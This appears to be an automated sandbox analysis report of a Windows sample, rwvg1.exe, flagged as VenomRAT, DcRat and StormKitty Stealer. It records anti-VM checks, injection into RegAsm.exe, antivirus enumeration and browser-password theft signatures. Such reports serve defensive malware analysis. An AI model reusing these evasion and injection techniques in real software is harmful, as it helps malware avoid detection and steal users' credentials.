Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Users\user\Desktop\rwvg1.exe	Memory allocated: FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Memory allocated: 2A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Memory allocated: 27D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 6501			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 3335			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rwvg1.exe TID: 7936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe TID: 7816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8116	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxAAntiAnalysis : Hosting detected!AAntiAnalysis : Process detected!QAntiAnalysis : Virtual machine detected!AAntiAnalysis : SandBox detected!CAntiAnalysis : Debugger detected!
Source: RegAsm.exe, 00000005.00000002.3914321161.000000000532F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3913630160.0000000005261000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000005.00000002.3914321161.0000000005306000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWfWP
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:
Source: rwvg1.exe, 00000000.00000002.1460482194.0000000000D93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, Outils.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, Outils.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 0.2.rwvg1.exe.28d0000.0.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\rwvg1.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Compiles code for process injection (via .Net compiler)

Source: C:\Users\user\Desktop\rwvg1.exe

File written: C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\rwvg1.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\rwvg1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B94008	Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE40B.tmp" "c:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP"	Jump to behavior

Source: RegAsm.exe, 00000005.00000002.3907344980.000000000302B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000003111000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000003017000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ProgMan
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd!SHELLDLL_DefView
Source: RegAsm.exe, 00000005.00000002.3907344980.000000000302B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000003111000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000003017000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: RegAsm.exe, 00000005.00000002.3907344980.000000000302B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000003111000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000003017000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Users\user\Desktop\rwvg1.exe	Queries volume information: C:\Users\user\Desktop\rwvg1.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: RegAsm.exe, 00000005.00000002.3906844795.00000000010F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 00000005.00000002.3907344980.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
